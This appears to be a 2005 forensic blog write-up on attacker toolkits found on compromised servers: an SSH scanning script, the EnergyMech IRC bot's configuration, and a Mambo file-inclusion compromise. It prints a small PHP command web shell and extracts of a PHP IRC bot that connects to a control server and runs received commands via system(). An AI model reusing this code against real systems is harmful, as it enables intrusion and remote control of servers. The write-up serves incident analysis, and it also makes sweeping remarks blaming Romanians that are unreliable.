echo "## Yo Ma Men Check this out##"
echo "# oRiGiNaL & CoReKt din nou la munka !! #"
./pscan2 $1 22

sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo "# Hopa...Hai mojule hai Te tine? "
echo "# Aaaaa putza numa  $oopsnr2 de servere.. Gasite cine stie :>>"
echo "----------------------------------------"
echo "# Wepaaaa.. Ploua Cu Roate"
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo "Lasa MoJuLe Poate Data Viitoare"

Also notice all the text is in Romanian. If a web server gets hacked, there's a good chance the Romanians are responsible. Anyway, when you call start with a class B network as an argument, it feeds the network to pscan2 and passes port 22 to the program. By default, pscan2 writes a file to disk with the first three octets of the class B network followed by pscan.22 (ie 192.168.1.pscan.22). Then, they do a bit of processing on the pscan.22 file in order to extract and save the unique addresses into mfu.txt. The ssh-scan file looks for mfu.txt in the same path and requires a numerical argument, which might be a time interval for scans. When called without the argument, ssh-scan prints "./ssh-scan " which is "how many ____ to set it to." Unfortunately, my reliable Romanian to English translator is missing the word pizde, so the object of what we're setting is unknown.

Lastly, the start script removes the pscan.22 and mfu.txt files. As a sad ending, the user who owned the box then stopped responding to emails on the subject, so no more data on the server's status, or how it was initially exploited, is not available.

Judging by the language in the code, this is clearly another Romanian job. Here are the fingerprints in case anyone else has seen these files around and can share some information:

# md5sum *; sha1sum *
a9e4aa894dadc5779729db1d1d5c670c  pass_file
9d6713a47efb2ed3fe0bfab170639950  pico
acba0143d0cbcf8092b8b44d914d7983  pscan2
a213ebd69fbc11d612d0374b373f65d8  ssh-scan
f4637aaf05227eb68d15af8449d2c85c  start
dc81368032f7131a5ef093114dd78dbac9318797  pass_file
5bc7ec5d9e250cab8ff0b2bb91a0b16180dc1f74  pico
dd78792e0efcc8b116341538084f64a19e291432  pscan2
4f64a5b07b0c128771ea21bf4aa15610fc6b071c  ssh-scan
ca3d6dff47059a3caf0f35f3663e2c58568a3711  start

PHP/Web Shell Offenders

PHP shell offenders are pretty powerful tools. They have probably been around for as long as PHP has been around, but it seems like the era of vulnerable web applications has made them even more popular than normal. They generally have command line input forms, file upload forms, server information panels, install menus, and file system browsers. This is an instance where Google hacking could really turn up some dangerous information, but this will be discussed in another report.

Here is a screen shot of Loader'z Web Shell, which is also titled Zetha Web Shell. It displays the system hostname, free disk space, UID & GID of web process, kernel version, currenty time, platform architecture, uptime, and directory listing. It supports arbitrary commands, changing CWD, fetching remote files, and local file editing. This shell was cited by Internet Storm Center in late November as being used in the widepsread Mambo exploits, [2005-11-20 Diary]. The script was reportedly dervied from

image n/a

This section is discontinued in place of (Upload Scripts & Toolkits). If this file isn't active yet, it will be soon.

Qmail (EnergyMech) IRC Toolkit

We all know that (EnergyMech) is a favorite among Romanian crackers (others too, I'm sure). The tool provides a flexible IRC bot that's even easier for attackers to use than someone else's perl script (I just finished writing about sirh0t wanabees). For an intense story about EnergyMech, see our (Scan of the Month 34) submission. Otherwise, just enjoy this quick refresher on common techniques to populate your bot net.

Unfortunately, I can't remember where the heck I got this file named qmail.tgz. It may have been from someone off a mailing list whose server was compromised. According to the 'start' script, it originally was named b.tgz (shown later). In this case, the EnergyMech program is disguised as qmail (qmail-rspawn in particular). The package comes with 3 users files (one for each bot configuration), which all contain the same information. Before showing the details, here is a quick synopsis of the contents and md5sum values.

# tar -xvzf qmail.tgz
# cd qmail/
# md5sum *
03979b62da6dc4c865e96728ad4e3aae  1.users
f09a395bfb54933b3f79a1b2791aaabe  2.users
f09a395bfb54933b3f79a1b2791aaabe  3.users
89970e035b45bfcaa0a0c27755c85250  LinkEvents
19803dcac73e45828a4eea0f133a553b  mech.set
b7746946a4ac3a113f1109b305df84ac  qmail-rspawn
md5sum: randfiles: Is a directory
8387b2d7f6e558851f00e5c5b262aff0  start

Here is one of the user files. Why are there 3 files if they all contain the same information? Per a comment in the mech.set file: "No two bots can have the same user file."

# cat 1.users
handle          th3-brain
mask            *!*
prot            4
channel         *
access          100

As mentioned earlier, the 'start' script is what gets it all going:

# cat start
rm -rf
cd ..
rm -rf b.tgz*

Having only this archive, it's difficult to determine how and when the server was exploited and what the infection vector was. However, with the next few reports that will be released in the first few months of 2006, this doesn't really worry me (just wait).

The mech.set file contains most of the configuration for the three bots. This is great because in the case that we wanted to monitor the channel and track these attackers a bit closer, it could be done with some of the information in this file. Here are some interesting extracts:

##### Bot 1 Configuration ##### 
NICK          chica
LOGIN         loco
IRCNAME       Pinky & The Brain Corporation
CHANNEL       #fbiteam mircea
##### END BOT 1 #####

##### Bot 2 Configuration #####
NICK          chiosc
LOGIN         NFSU2
CHANNEL       #fbiteam mircea
##### END BOT 2 #####

##### Bot 3 Configuration #####
NICK          hondahrv
LOGIN         family
IRCNAME       Buju & The Brain Family
CHANNEL       #fbiteam mircea
##### END BOT 3 #####

In all three cases, the bot joins channel #fbiteam mircea. The channel name, nicks, logins, and real names are all meaningless without some data to correlate with. They are being documented here for use when that time comes.

Artifacts of a Mambo Exploit

This is an example of poor log retention, server administration, and firewall policy. With the evidence given, we know something quite concerning happened, but it's not enough to reconstruct the event. An IRC bot of some type was active on the exploited server, per the following IDS alerts (UTC):

Count:1426 2005-11-23 01:01:47 CHAT IRC nick change
x.x.x.37 ->
Protocol: 6 sport=57623 -> dport=6667

NICK m00p-7608..
USER owww . . :moopy
Count:167 2005-11-23 01:06:20 High port IRC Chat -> x.x.x.37
Protocol: 6 sport=6667 -> dport=57623

PRIVMSG #mpy :
!cmd uptime; uname -a
Count:69 2005-11-23 01:06:20 CHAT IRC message
x.x.x.37 ->
Protocol: 6 sport=57623 -> dport=6667

PRIVMSG #mpy :Linux
[hostname-censored] 2.4.20-29.7.progeny.8smp #1
SMP Mon Aug 9 20:30:22 EDT 2004 i686 unknown
Count:45 2005-11-23 01:10:43 CHAT IRC message -> x.x.x.37
Protocol: 6 sport=6667 -> dport=57780

PRIVMSG #mpy :buggy

The use of IRC is of course not surprising. The exploited server is communicating with multiple remote machines over TCP 6667. It's logging onto the #mpy IRC channel with nick "m00p-7608" (this is produced by a rand(1000,9999) function in the pb.php file) and answering PRIVMSG queries about uptime and kernel versions. These are the only logs we have to analyze, however undoubtedly there are hundreds or thousands of missing conversations.

Although a large portion of what we *want* is missing, there are a few important artifacts preserved. For example, we were able to obtain the output of 'ls -al' in the web root of the infected server's Apache process. Opposed to the logs above, which are shown in UTC, these entries are in UTC-5.

-rw-r--r--    1 apache   apache        157 Nov 22 20:34 hosten.php
-rw-r--r--    1 apache   apache        360 Nov 22 20:15 index.htm
-rw-r--r--    1 apache   apache        324 Nov 22 20:14 index.html
-rw-r--r--    1 apache   apache        157 Nov 22 20:11 m00p.php
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.1
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.10
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.11
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.2
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.3
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.4
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.5
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.6
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.7
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.8
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.9

Notice there are 12 pb.php files with the same file size (and same md5sum). These files were all last modified at 19:57:14 UTC-5. A bit of web access log analysis shows that there are exactly 12 requests similar the following entry: - - [22/Nov/2005:20:08:50 -0500] "GET /?_REQUEST=&_REQUEST[option] \
=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= \ HTTP/1.1" 200 - "-" \
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Of the 12 requests, there are 12 unique source IP addresses and a time window that spans 20:08:50 UTC-5 to 21:34:09 UTC-5. Had a susceptible version of Mambo been exposed, a remote file inclusion vulnerability, [see Frsirt] would have been exploited. Indeed an older version of Mambo resided on the server that we were investigating. As such, this unpatched installation of Mambo is credited with the weakness which lead to the exploit. Before going any further, there may be a small variance in the last modified time stamps and the the access log time stamps. For example, the first in sequence out of the 12 hits was as 20:08:50 UTC-5, but the pb.php files all report a last modification date of 19:57:14 UTC-5; almost 15 minutes before the web request. If we are to believe the 12 web hits were the cause and the 12 pb.php files were the effect, the time order relationship is a little skewed. However, there are no other explanations at this point, so I'll stick with it.

To complete the web access log analysis, this Mambo installation seemed to have been attacked more than just once. One request came in around the 21st (a day before this round described above) and set the mosConfig_absolute_path variable to "" Then, two requests came in on the 27th with a User Agent of "DataCha0s/2.0" and they set the variable to "" The cse.gif file is described in the (CSE, ZeroBoard, & Hatorihanzo Rootkit) story.

Since according to the IDS alerts, the IRC server was active around 01:00 UTC on the 23rd, and the cse.gif entry occurred on the 27th, it will not be discussed further as an event which lead to the IRC bot installation. Furthermore, 01:00 UTC on the 23rd (when the IDS detected IRC activity) is just about 20:00 UTC-5 on the 22nd (when the pb.php and other files were last modified), there is a strong correlation between these two pieces of data.

So now, what do these files contain? The two index pages (index.htm and index.html) are ammo for defacing the web site. Funny that the web server's default page was index.php, which was not defaced. Here is the contents of the .htm and .html index pages:

[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null

A quick Google search for this combination turned up a web site that was recenty hit by the same attackers. It was last indexed by the search engine on December 23, 2005 (two days ago):

image n/a

m00p.php and hosten.php contain the same code - a lightweight PHP shell offender:

  $cmd = stripslashes($_POST['cmd']); 
  if ($cmd) { 
    echo "[pre]"; 
    echo "[/pre]"; 
[form method="POST"][input type="text" name="cmd" /][/form]

This is perhaps how files in the web site's root were modified and how other files were introduced onto the server. Of our evidence, only the pb.php files remain; and as stated earlier these are all exactly the same content. pb.php is a < 50 line perl IRC bot with very limited functionality. It runs as a deamon via while(1) loop and connects to on TCP 6667. Once connected, it logs in as m00p-".rand(1000,9999).", joins channel #mpy, and then awaits some chatter. If commands are sent to the channel, the bot executes it via system() and reports the output using PRIVMSG. Here are some extracts from the code that illustrate these functions:

while (1) {
  do {
    $ip = gethostbyname('');
    $s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    $ret = socket_connect($s, $ip, 6667);
 } while ($ret < 0);

 $in = "NICK m00p-".rand(1000,9999)."\r\nUSER owww . . :moopy\r\n";

 if ($a[0] == "PING") {
   $in = "PONG ".$a[1]."\r\nJOIN #mpy\r\n";
   socket_write($s, $in, strlen($in));
 else if ($a[3] == ":!cmd") {
   $cmd = $a[4];
   for ($i=5; $a[$i]; $i++) {
     $cmd .= " ".$a[$i];
   $in = "PRIVMSG #mpy :".str_replace("\n", " ", system($cmd))."\r\n";
   socket_write($s, $in, strlen($in));

It would probably be safe to assume that an abundance of sensitive server-related information was leaked over the IRC channel. The attackers learned the kernel version and build, and had the ability to load remote files onto the file system. This could have lead to a locate root exploit if the existing kernel had any vulnerabilities. In conclusion, the lack of IRC logs, packet captures, and full web access logs, we aren't able to reconstruct the entire event. In any case, the exploit was well deserved due to improper patching of the Mambo installation and poor egress filtering.

P.S. The Frsirt advisory above also publishes an exploit utility which could have been used in this event. The attacker would simply load this script onto a web server and use it to target other servers. Here is a screen shot of the menu panel:

image n/a